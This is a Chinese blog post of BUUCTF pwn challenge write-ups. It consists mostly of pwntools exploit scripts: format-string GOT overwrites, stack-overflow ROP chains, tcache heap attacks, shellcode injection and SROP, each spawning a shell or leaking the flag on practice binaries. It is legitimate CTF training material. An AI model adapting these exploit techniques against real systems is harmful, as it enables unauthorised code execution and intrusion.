BUU刷题（三）

原创

playmak3r 于 2020-03-13 22:10:19 发布 689 收藏 1

分类专栏： CTF-PWN

本文链接：https://blog.csdn.net/qq_39268483/article/details/104850890

BUU刷题（三）

fm

```
from pwn import *
context.log_level='debug'
p=process('./fm')
p=remote("node3.buuoj.cn","27782")
payload=p32(0x0804a02c)+'%11$n'
p.sendline(payload)
p.interactive()
```

others_shellcode

拿到题目直接连上shell

bjdctf_2020_babystack

```
from pwn import *
context.log_level='debug'
p=remote("node3.buuoj.cn","26592")
#p=process('./bjdctf_2020_babystack')
p.recvuntil('your name:\n')
p.sendline('100')
p.recvline()
payload='a'*0x10+'a'*8+p64(0x4006e6)
p.sendline(payload)
p.interactive()
```

axb_2019_fmt32

按照道理这题不应该给文件，还是按照盲pwn来做，程序具有格式化字符串漏洞,利用如下脚本泄露栈的信息，得到代码段基址0x08048500,并且得到输入偏移为8

```
from pwn import *
p=remote("node3.buuoj.cn","26143")
for i in range(200):
    p.recvuntil("Please tell me:")
    p.sendline("%"+str(i)+"$p"+".tmp")
    print i*4,p.recvuntil(".tmp")
p.interactive()
```

利用如下脚本dump出代码段的内容

```
from pwn import *
p=remote("node3.buuoj.cn","27409")
start=0
text=''
try:
    while True:
        p.recvuntil("Please tell me:")
        addr=0x08048470+start
        print hex(addr)
        payload='%10$s.tmp'+p32(addr)
        p.sendline(payload)
        p.recvuntil('Repeater:')
        ret=p.recvuntil(".tmp")[:-4:]
        start+=len(ret)
        if len(ret)==0:
            start+=1
            ret='\x00'
        text+=ret
        print ret.encode("hex")
except Exception as e:
    print e
finally:
    with open('dump','wb') as fout:
        fout.write(text)
p.interactive()
```

找到格式化字符串的plt表的地址0x08048470，泄露出GOT表的地址得到got表地址为0x0804a014

得到got表地址之后泄露got表内容获取libc基址，覆盖为system拿到shell即可

```
from pwn import *
p=remote("node3.buuoj.cn","25182")


p.recvuntil("Please tell me:")

payload='%10$s.tmp'+p32(0x0804a014)
p.sendline(payload)
p.recvuntil('Repeater:')
print_addr=u32(p.recv(4))
print hex(print_addr)
system_addr=print_addr+0x3a940-0x49020
print hex(system_addr)
p.recvuntil("Please tell me:")

payload1='1'+p32(0x0804a014)+p32(0x0804a016)+'%'+str((system_addr&0xffff)-18)+'c'+'%8$hn'+'%'+str((system_addr>>
16)-(system_addr&0xffff))+'c'+'%9$hn'
p.sendline(payload1)
p.recv()
p.sendline(';/bin/sh')


p.interactive()
```

ciscn_2019_final_2

程序环境为ubantu 18，保护全开，并且开启了沙盒禁用了execve函数,不过程序读取了flag文件，并且将flag文件的文件描述符设置为666，我们可以利用tache attack 改写stdin文件描述符号，最后用scanf函数，将文件flag作为输入流缓存区，输出flag

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fg0JpukN-1584108577711)(https://raw.githubusercontent.com/p1aymaker/picture/master/20200211203013.png)]

free两次得到chunk的堆后16位地址，仍然可以利用tache_attck修改chunk的size大于0x410，将修改后的chun，free掉泄露lib的后32位地址，此后分配的内存在unsortedbin上，分配出chunk的fd,bk都与libc地址有关

再次free两次chunk得到堆后32位地址，将带有文件描述符地址的chunk和free的tache串成一个单链表，最后改写fileno即可

```
from pwn import *
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
#context.log_level='debug'
p=process('./ciscn_final_2')
#p=remote('node3.buuoj.cn','26720')
def add(typ,num):
    p.recvuntil('>')
    p.sendline('1')
    p.recvuntil('>')
    p.sendline(str(typ))
    p.recvuntil('number:')
    p.sendline(str(num))
def show(typ):
    p.recvuntil('>')
    p.sendline('3')
    p.recvuntil('>')
    p.sendline(str(typ))
def dele(typ):
    p.recvuntil('>')
    p.sendline('2')
    p.recvuntil('>')
    p.sendline(str(typ))
```

```
add(2,0)
dele(2)
add(1,0)
dele(2)
show(2)
p.recvuntil("number :")
chunk_addr=p.recvuntil('\n')[:-1:]
chunk_addr=int(chunk_addr,10)&0xffff
add(2,chunk_addr+0x10)
add(2,0)
add(2,0x431)
for i in range(0x20):
   add(2,i)
add(2,i)
dele(1)
show(1)
p.recvuntil("number :")
leak_lib=p.recvuntil('\n')[:-1:]
main_arena=(int(leak_lib,10)&0xffffffff)-96
fileno=main_arena-0x3b4c40+0x3b4a00+0x70
#fileno=main_arena-0x3b4c40+0x3b5760+0x70
add(1,fileno)
add(1,fileno)
dele(1)
add(2,0x10)
dele(1)
show(1)
p.recvuntil("number :")
chunk_addr2=p.recvuntil('\n')[:-1:]
chunk_addr2=int(chunk_addr2,10)&0xffffffff
add(1,chunk_addr2-0x30)
add(1,chunk_addr2-0x30)
add(1,chunk_addr2-0x30)
add(1,666)

print hex(fileno-0x70)

print hex(fileno)
print hex(chunk_addr)
print hex(chunk_addr2)
#gdb.attach(p)
p.interactive()
```

参考链接：https://196011564.github.io/2019/07/13/CTF-BUUCTF-Pwn%E5%88%B7%E9%A2%98%E4%B9%8B%E6%97%85-(1)

https://blog.csdn.net/yusiguyuan/article/details/23358913

https://xz.aliyun.com/t/6567

https://blog.betamao.me/2019/01/23/Linux%E6%B2%99%E7%AE%B1%E4%B9%8Bseccomp/

jarvisoj_test_your_memory

```
from pwn import *
context.log_level='debug'
#p=process('./memory')
p=remote("node3.buuoj.cn","29430")
p.recv()
#gdb.attach(p,"b *0x0804863d")
payload=p32(0x080487e0)+'\x00'+'a'*0xe+'a'*4+p32(0x08048440)+p32(0x080487e0)+p32(0x080487e0)
#payload='a'*0x13+'a'*4+p32(0x08048440)+'a'*4+p32(0x080487e0)
p.sendline(payload)
p.recv()
p.interactive()
```

铁人三项(第五赛区)_2018_rop

```
from pwn import *
context.log_level='debug'
#p=process('./2018_rop')
p=remote("node3.buuoj.cn","27351")
payload='a'*0x88+'a'*4+p32(0x080483a0)+p32(0x0804855d)+p32(1)+p32(0x804a000)+p32(4)+p32(0x080484c6)
p.sendline(payload)
read_addr=u32(p.recv(4))
system_addr=read_addr-0xa8910
bin_sh=read_addr+0x962af
payload1='a'*0x88+'a'*4+p32(system_addr)+'a'*4+p32(bin_sh)
p.sendline(payload1)
p.interactive()
```

level1

```
from pwn import *
context.log_level='debug'
#p=process('./level1')
p=remote("node3.buuoj.cn","25440")
p.recvuntil("What's this:0x")
stack_addr=int(p.recv(8),16)
print hex(stack_addr)
#gdb.attach(p,"b *0x080484b1")
payload=asm(shellcraft.sh()).ljust(0x88,'\x00')+'a'*4+p32(stack_addr)
p.sendline(payload)
p.interactive()
```

强网杯2019拟态STKOF

```python
from pwn import *
p=remote("node3.buuoj.cn","29785")
p.recvuntil('try to pwn it?\n')
payload='a'*0x10c+'a'*4
payload+=struct.pack('<I', 0x0806e9cb) # popedx ; ret
payload+=struct.pack('<I', 0x080d9060) # @ .data
payload+=struct.pack('<I', 0x080a8af6) # popeax ; ret
payload+= '/bin'
payload+=struct.pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret
payload+=struct.pack('<I', 0x0806e9cb) # popedx ; ret
payload+=struct.pack('<I', 0x080d9064) # @ .data + 4
payload+=struct.pack('<I', 0x080a8af6) # popeax ; ret
payload+= '//sh'
payload+=struct.pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret
payload+=struct.pack('<I', 0x0806e9cb) # popedx ; ret
payload+=struct.pack('<I', 0x080d9068) # @ .data + 8
payload+=struct.pack('<I', 0x08056040) # xor eax, eax ; ret
payload+=struct.pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret
payload+=struct.pack('<I', 0x080481c9) # popebx ; ret
payload+=struct.pack('<I', 0x080d9060) # @ .data
payload+=struct.pack('<I', 0x0806e9f2) # popecx ; popebx ; ret
payload+=struct.pack('<I', 0x080d9068) # @ .data + 8
payload+=struct.pack('<I', 0x080d9060) # padding without overwrite ebx
payload+=struct.pack('<I', 0x0806e9cb) # popedx ; ret
payload+=struct.pack('<I', 0x080d9068) # @ .data + 8
payload+=struct.pack('<I', 0x08056040) # xor eax, eax ; ret
payload+=struct.pack('<I', 0x0807be5a) # inc eax ; ret
payload+=struct.pack('<I', 0x0807be5a) # inc eax ; ret
payload+=struct.pack('<I', 0x0807be5a) # inc eax ; ret
payload+=struct.pack('<I', 0x0807be5a) # inc eax ; ret
payload+=struct.pack('<I', 0x0807be5a) # inc eax ; ret
payload+=struct.pack('<I', 0x0807be5a) # inc eax ; ret
payload+=struct.pack('<I', 0x0807be5a) # inc eax ; ret
payload+=struct.pack('<I', 0x0807be5a) # inc eax ; ret
payload+=struct.pack('<I', 0x0807be5a) # inc eax ; ret
payload+=struct.pack('<I', 0x0807be5a) # inc eax ; ret
payload+=struct.pack('<I', 0x0807be5a) # inc eax ; ret
payload+=struct.pack('<I', 0x080495a3) # int 0x80
p.sendline(payload)
p.interactive()
```

bjdctf_2020_babyrop

```python
from pwn import *
from LibcSearcher import *
context.log_level='debug'
#p=process('./bjdctf_2020_babyrop')
p=remote("node3.buuoj.cn","27715")
elf=ELF('./bjdctf_2020_babyrop')
p.recvuntil('story!\n')
payload='a'*0x20+'a'*8+p64(0x400733)+p64(elf.got['puts'])+p64(elf.symbols['puts'])+p64(0x4006ad)
p.sendline(payload)
puts=u64(p.recv(6)+'\x00\x00')
libc=LibcSearcher('puts',puts)
system=puts-libc.dump('puts')+libc.dump('system')
bin_sh=puts-libc.dump('puts')+libc.dump('str_bin_sh')
payload1='a'*0x28+p64(0x400733)+p64(bin_sh)+p64(system)
p.sendline(payload1)
print hex(puts)
p.interactive()
```

ciscn_2019_es_1

存在uaf，且大小随意分配，直接利用unsorted bin 泄露出libc基址，接着再利用tache_attack任意写到free_hook上

```python
from pwn import *
context.log_level='debug'
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
p=process('./ciscn_2019_es_1')
p=remote("node3.buuoj.cn","29935")
def add(size,name,call):
    p.recvuntil("choice:")
    p.sendline('1')
    p.recvuntil('name\n')
    p.sendline(str(size))
    p.recvuntil('name:\n')
    p.send(name)
    p.recvuntil('call:\n')
    p.send(call)
def show(index):
    p.recvuntil("choice:")
    p.sendline('2')
    p.recvuntil('index:\n')
    p.sendline(str(index))
def dele(index):
    p.recvuntil("choice:")
    p.sendline('3')
    p.recvuntil('index:\n')
    p.sendline(str(index))
add(0x420,'aaa','000')
add(0x20,'bbb','111')
dele(0)
show(0)
p.recvuntil('name:\n')
main_arena=u64(p.recv(6)+'\x00\x00')-96
malloc_hook=main_arena-0x10
libc_base=main_arena-0x3ebc40
free_hook=libc_base+0x3ed8e8
system=libc_base+0x4f440

dele(1)
dele(1)
add(0x20,p64(free_hook),'222')
add(0x20,'/bin/sh','333')
add(0x20,p64(system),'444')
dele(3)
print hex(malloc_hook)
print hex(free_hook)
p.interactive()
```

ciscn_2019_es_7

```python
from pwn import *
context.log_level='debug'
#p=process('./ciscn_2019_es_7')
p=remote("node3.buuoj.cn","26325")
context.binary='./ciscn_2019_es_7'
payload='a'*0x10+p64(0x4004ed)
#gdb.attach(p)
p.send(payload)
p.recvuntil('\x36\x05\x40\x00\x00\x00\x00\x00')
stack_addr=u64(p.recv(8))
print hex(stack_addr)
bin_sh=stack_addr-280
frame=SigreturnFrame()
frame.rax=0x3b
frame.rdi=bin_sh
frame.rip=0X400517
frame.rsi=0
frame.rdx=0
payload1='/bin/sh\x00'+'a'*8+p64(0x4004da)+p64(0x400517)+str(frame)
p.send(payload1)
p.interactive()
```